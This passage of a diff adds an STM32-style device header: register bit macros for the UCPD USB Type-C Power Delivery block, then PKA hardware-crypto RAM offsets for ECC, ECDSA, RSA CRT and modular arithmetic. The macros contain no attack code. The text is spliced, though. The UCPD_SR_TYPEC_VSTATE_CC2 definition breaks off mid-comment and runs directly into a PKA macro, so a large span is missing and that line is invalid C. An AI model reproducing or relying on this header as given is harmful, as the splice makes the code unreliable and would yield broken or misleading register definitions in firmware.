/*!< Enable RXORDDET interrupt */ +#define UCPD_IMR_RXHRSTDETIE_Pos (10U) +#define UCPD_IMR_RXHRSTDETIE_Msk (0x1UL << UCPD_IMR_RXHRSTDETIE_Pos) /*!< 0x00000400 */ +#define UCPD_IMR_RXHRSTDETIE UCPD_IMR_RXHRSTDETIE_Msk /*!< Enable RXHRSTDET interrupt */ +#define UCPD_IMR_RXOVRIE_Pos (11U) +#define UCPD_IMR_RXOVRIE_Msk (0x1UL << UCPD_IMR_RXOVRIE_Pos) /*!< 0x00000800 */ +#define UCPD_IMR_RXOVRIE UCPD_IMR_RXOVRIE_Msk /*!< Enable RXOVR interrupt */ +#define UCPD_IMR_RXMSGENDIE_Pos (12U) +#define UCPD_IMR_RXMSGENDIE_Msk (0x1UL << UCPD_IMR_RXMSGENDIE_Pos) /*!< 0x00001000 */ +#define UCPD_IMR_RXMSGENDIE UCPD_IMR_RXMSGENDIE_Msk /*!< Enable RXMSGEND interrupt */ +#define UCPD_IMR_TYPECEVT1IE_Pos (14U) +#define UCPD_IMR_TYPECEVT1IE_Msk (0x1UL << UCPD_IMR_TYPECEVT1IE_Pos) /*!< 0x00004000 */ +#define UCPD_IMR_TYPECEVT1IE UCPD_IMR_TYPECEVT1IE_Msk /*!< Enable TYPECEVT1IE interrupt */ +#define UCPD_IMR_TYPECEVT2IE_Pos (15U) +#define UCPD_IMR_TYPECEVT2IE_Msk (0x1UL << UCPD_IMR_TYPECEVT2IE_Pos) /*!< 0x00008000 */ +#define UCPD_IMR_TYPECEVT2IE UCPD_IMR_TYPECEVT2IE_Msk /*!< Enable TYPECEVT2IE interrupt */ +#define UCPD_IMR_FRSEVTIE_Pos (20U) +#define UCPD_IMR_FRSEVTIE_Msk (0x1UL << UCPD_IMR_FRSEVTIE_Pos) /*!< 0x00100000 */ +#define UCPD_IMR_FRSEVTIE UCPD_IMR_FRSEVTIE_Msk /*!< Fast Role Swap interrupt */ + +/******************** Bits definition for UCPD_SR register ********************/ +#define UCPD_SR_TXIS_Pos (0U) +#define UCPD_SR_TXIS_Msk (0x1UL << UCPD_SR_TXIS_Pos) /*!< 0x00000001 */ +#define UCPD_SR_TXIS UCPD_SR_TXIS_Msk /*!< Transmit interrupt status */ +#define UCPD_SR_TXMSGDISC_Pos (1U) +#define UCPD_SR_TXMSGDISC_Msk (0x1UL << UCPD_SR_TXMSGDISC_Pos) /*!< 0x00000002 */ +#define UCPD_SR_TXMSGDISC UCPD_SR_TXMSGDISC_Msk /*!< Transmit message discarded interrupt */ +#define UCPD_SR_TXMSGSENT_Pos (2U) +#define UCPD_SR_TXMSGSENT_Msk (0x1UL << UCPD_SR_TXMSGSENT_Pos) /*!< 0x00000004 */ +#define UCPD_SR_TXMSGSENT UCPD_SR_TXMSGSENT_Msk /*!< Transmit message sent interrupt */ +#define UCPD_SR_TXMSGABT_Pos (3U) +#define UCPD_SR_TXMSGABT_Msk (0x1UL << UCPD_SR_TXMSGABT_Pos) /*!< 0x00000008 */ +#define UCPD_SR_TXMSGABT UCPD_SR_TXMSGABT_Msk /*!< Transmit message abort interrupt */ +#define UCPD_SR_HRSTDISC_Pos (4U) +#define UCPD_SR_HRSTDISC_Msk (0x1UL << UCPD_SR_HRSTDISC_Pos) /*!< 0x00000010 */ +#define UCPD_SR_HRSTDISC UCPD_SR_HRSTDISC_Msk /*!< HRST discarded interrupt */ +#define UCPD_SR_HRSTSENT_Pos (5U) +#define UCPD_SR_HRSTSENT_Msk (0x1UL << UCPD_SR_HRSTSENT_Pos) /*!< 0x00000020 */ +#define UCPD_SR_HRSTSENT UCPD_SR_HRSTSENT_Msk /*!< HRST sent interrupt */ +#define UCPD_SR_TXUND_Pos (6U) +#define UCPD_SR_TXUND_Msk (0x1UL << UCPD_SR_TXUND_Pos) /*!< 0x00000040 */ +#define UCPD_SR_TXUND UCPD_SR_TXUND_Msk /*!< Tx data underrun condition interrupt */ +#define UCPD_SR_RXNE_Pos (8U) +#define UCPD_SR_RXNE_Msk (0x1UL << UCPD_SR_RXNE_Pos) /*!< 0x00000100 */ +#define UCPD_SR_RXNE UCPD_SR_RXNE_Msk /*!< Receive data register not empty interrupt */ +#define UCPD_SR_RXORDDET_Pos (9U) +#define UCPD_SR_RXORDDET_Msk (0x1UL << UCPD_SR_RXORDDET_Pos) /*!< 0x00000200 */ +#define UCPD_SR_RXORDDET UCPD_SR_RXORDDET_Msk /*!< Rx ordered set (4 K-codes) detected interrupt */ +#define UCPD_SR_RXHRSTDET_Pos (10U) +#define UCPD_SR_RXHRSTDET_Msk (0x1UL << UCPD_SR_RXHRSTDET_Pos) /*!< 0x00000400 */ +#define UCPD_SR_RXHRSTDET UCPD_SR_RXHRSTDET_Msk /*!< Rx Hard Reset detect interrupt */ +#define UCPD_SR_RXOVR_Pos (11U) +#define UCPD_SR_RXOVR_Msk (0x1UL << UCPD_SR_RXOVR_Pos) /*!< 0x00000800 */ +#define UCPD_SR_RXOVR UCPD_SR_RXOVR_Msk /*!< Rx data overflow interrupt */ +#define UCPD_SR_RXMSGEND_Pos (12U) +#define UCPD_SR_RXMSGEND_Msk (0x1UL << UCPD_SR_RXMSGEND_Pos) /*!< 0x00001000 */ +#define UCPD_SR_RXMSGEND UCPD_SR_RXMSGEND_Msk /*!< Rx message received */ +#define UCPD_SR_RXERR_Pos (13U) +#define UCPD_SR_RXERR_Msk (0x1UL << UCPD_SR_RXERR_Pos) /*!< 0x00002000 */ +#define UCPD_SR_RXERR UCPD_SR_RXERR_Msk /*!< RX Error */ +#define UCPD_SR_TYPECEVT1_Pos (14U) +#define UCPD_SR_TYPECEVT1_Msk (0x1UL << UCPD_SR_TYPECEVT1_Pos) /*!< 0x00004000 */ +#define UCPD_SR_TYPECEVT1 UCPD_SR_TYPECEVT1_Msk /*!< Type C voltage level event on CC1 */ +#define UCPD_SR_TYPECEVT2_Pos (15U) +#define UCPD_SR_TYPECEVT2_Msk (0x1UL << UCPD_SR_TYPECEVT2_Pos) /*!< 0x00008000 */ +#define UCPD_SR_TYPECEVT2 UCPD_SR_TYPECEVT2_Msk /*!< Type C voltage level event on CC2 */ +#define UCPD_SR_TYPEC_VSTATE_CC1_Pos (16U) +#define UCPD_SR_TYPEC_VSTATE_CC1_Msk (0x3UL << UCPD_SR_TYPEC_VSTATE_CC1_Pos) /*!< 0x00030000 */ +#define UCPD_SR_TYPEC_VSTATE_CC1 UCPD_SR_TYPEC_VSTATE_CC1_Msk /*!< Status of DC level on CC1 pin */ +#define UCPD_SR_TYPEC_VSTATE_CC1_0 (0x1UL << UCPD_SR_TYPEC_VSTATE_CC1_Pos) /*!< 0x00010000 */ +#define UCPD_SR_TYPEC_VSTATE_CC1_1 (0x2UL << UCPD_SR_TYPEC_VSTATE_CC1_Pos) /*!< 0x00020000 */ +#define UCPD_SR_TYPEC_VSTATE_CC2_Pos (18U) +#define UCPD_SR_TYPEC_VSTATE_CC2_Msk (0x3UL << UCPD_SR_TYPEC_VSTATE_CC2_Pos) /*!< 0x000C0000 */ +#define UCPD_SR_TYPEC_VSTATE_CC2 UCPD_SR_TYPEC_VSTATE_CC2_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define 